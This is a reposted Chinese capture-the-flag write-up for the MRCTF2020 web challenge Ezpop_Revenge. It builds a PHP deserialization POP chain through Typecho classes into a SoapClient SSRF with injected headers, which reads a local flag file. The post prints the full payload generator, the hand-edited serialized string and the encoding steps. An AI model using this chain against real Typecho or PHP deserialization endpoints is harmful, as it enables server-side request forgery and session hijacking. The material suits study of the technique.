MRCTF2020 web Ezpop_Revenge-解题步骤详解

admin 2022年6月14日08:09:58评论265 views字数 2868阅读9分33秒阅读模式

MRCTF2020 web Ezpop_Revenge-解题步骤详解题目介绍

首先这是一个typecho的框架

然后通过扫目录得到www.zip源码泄露,然后就是审计代码了~~

解题过程

首先我们找到输入点

MRCTF2020 web Ezpop_Revenge-解题步骤详解

在插件中,我们发现action()的代码

这儿需要说明一下,这儿的action一般是自动加载的,当路由加载类是会自动加载某个函数,所以我们直接搜索这个类得名称~~

MRCTF2020 web Ezpop_Revenge-解题步骤详解


MRCTF2020 web Ezpop_Revenge-解题步骤详解

Helper::addRoute("page_admin_action","/page_admin","HelloWorld_Plugin",'action');

这句代码的意思就是访问/page_admin的时候,会自动加载HelloWorld_Plugin类,而且会自动调用action函数,所以我们输入点的路由为/page_admin

寻找pop链

在根目录下有flag文件

MRCTF2020 web Ezpop_Revenge-解题步骤详解

很明显的ssrf,结合输入点的反序列化,我们直接想到soap的ssrf

当访问后,会自动把flag写进访问的session中

usr下面的Plugin.php中有一个类

MRCTF2020 web Ezpop_Revenge-解题步骤详解

我们跟进Typecho_Db

MRCTF2020 web Ezpop_Revenge-解题步骤详解

然后在Typecho_Db的__construct中发现字符串拼接,这个时候我们就知道肯定实调用某个类的__tostring,因为$adapterName我们可控

所以我们直接搜索__tostring

MRCTF2020 web Ezpop_Revenge-解题步骤详解

然后跟踪到Query.php的__tostring

假如Typecho_Db::SELECT(静态值)的值为SELECT,则跟进$this->_adapter

我们发现这个值我们也是可控的,这个时候我们控制_adapter为soap类就可以了~~

MRCTF2020 web Ezpop_Revenge-解题步骤详解

这是时候梳理一下pop链

首先时/usr下的Plugins.php反序列化调用HelloWorld_DB触发Typecho_Db类,并且可以控制其中的$adapterName

$adapterName拼接到字符串中,触发__tostring,所以这个时候我们使得$adapterName为Query.php中的Typecho_Db_Query类,并且控制私有变量$_adapter为soap类来本地访问flag.php

MRCTF2020 web Ezpop_Revenge-解题步骤详解

这个时候再访问soap的parseSelect方法,但是此方法并不存在,所以就会触发soap的__call方法来打到本地访问的目的

payload:

<?php
class Typecho_Db_Query{ private $_sqlPreBuild; private $_adapter;
public function __construct(){ $target = 'http://127.0.0.1/flag.php'; $headers = array( 'X-Forwarded-For: 127.0.0.1', 'Cookie: PHPSESSID=a8vkg6l5j5sesvqan5q5s4obr1' ); $b = new SoapClient(null,array('location' => $target,'user_agent'=>'HyyMbb^^'.join('^^',$headers),'uri' => "aaab")); $this->_sqlPreBuild =array("action"=>"SELECT"); $this->_adapter = $b; }}

class HelloWorld_DB{ private $coincidence;
public function __construct(){ $this->coincidence = ["hello" => new Typecho_Db_Query()]; }}
$a = new HelloWorld_DB();$aaa = serialize($a);

这个时候先生成序列化的值,然后再做一些小处理

我们都知道私有变量类名的前后都有%00,但是某些特定版本的情况下,这样也会出错

这个时候我们需要将s改为S,并添加0

如同这个样子

$aaa = 'O:13:"HelloWorld_DB":1:{S:26:"0HelloWorld_DB0coincidence";a:1:{s:5:"hello";O:16:"Typecho_Db_Query":2:{S:30:"0Typecho_Db_Query0_sqlPreBuild";a:1:{s:6:"action";s:6:"SELECT";}S:26:"0Typecho_Db_Query0_adapter";O:10:"SoapClient":5:{s:3:"uri";s:4:"aaab";s:8:"location";s:25:"http://127.0.0.1/flag.php";s:15:"_stream_context";i:0;s:11:"_user_agent";s:79:"wupco^^X-Forwarded-For: 127.0.0.1^^Cookie: PHPSESSID=a8vkg6l5j5sesvqan5q5s4obr1";s:13:"_soap_version";i:1;}}}}';

然后再添加rn,base64编码

$aaa = str_replace('^^',"rn",$aaa);$aaa = str_replace('&','&',$aaa);echo base64_encode($aaa);

我们soap访问的PHPSESSID的值为a8vkg6l5j5sesvqan5q5s4obr1

这个时候访问/page_admin页面

MRCTF2020 web Ezpop_Revenge-解题步骤详解

然后更换PHPSESSID

MRCTF2020 web Ezpop_Revenge-解题步骤详解

得到flag

写在最后,再说一下为啥要更换s,和添加0,而不是直接编码

都知道private属性会在反序列化的生成一个标志性的%00,关于这个坑点p神是这么说的

PHP序列化的时候private和protected变量会引入不可见字符x00,输出和复制的时候可能会遗失这些信息,导致反序列化的时候出错。

private属性序列化的时候会引入两个x00,注意这两个x00就是ascii码为0的字符。这个字符显示和输出可能看不到,甚至导致截断,如图1,url编码后就可以看得很清楚了。

同理,protected属性会引入x00*x00。

此时,为了更加方便进行反序列化Payload的传输与显示,我们可以在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示。比如s:5:”A<null_byte>B“;̀ -> S:5:”A0B9D”;

原文来自CSDN博主「HyyMbb」|侵删




MRCTF2020 web Ezpop_Revenge-解题步骤详解

MRCTF2020 web Ezpop_Revenge-解题步骤详解


中电运行是专业专注培养能源企业IT工匠和提供IT整体解决方案的服务商,也是能源互联网安全专家。

为方便大家沟通,中电运行开通“中电运行交流群”,诚挚欢迎能源企业和相关人士,以及对网络安全感兴趣的群体加入本群,真诚交流,互相学习MRCTF2020 web Ezpop_Revenge-解题步骤详解MRCTF2020 web Ezpop_Revenge-解题步骤详解。想加入我们就给我们留言吧MRCTF2020 web Ezpop_Revenge-解题步骤详解

MRCTF2020 web Ezpop_Revenge-解题步骤详解

MRCTF2020 web Ezpop_Revenge-解题步骤详解

小白必读!寰宇卫士手把手教你栈溢出(上)

手把手教你栈溢出(中)

手把手教你栈溢出(下)

《信息安全知识》之法律关键常识汇总

CTF经验分享|带你入门带你飞!

MRCTF2020 web Ezpop_Revenge-解题步骤详解

原文始发于微信公众号(寰宇卫士):MRCTF2020 web Ezpop_Revenge-解题步骤详解

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月14日08:09:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   MRCTF2020 web Ezpop_Revenge-解题步骤详解http://cn-sec.com/archives/1113428.html

发表评论

匿名网友 填写信息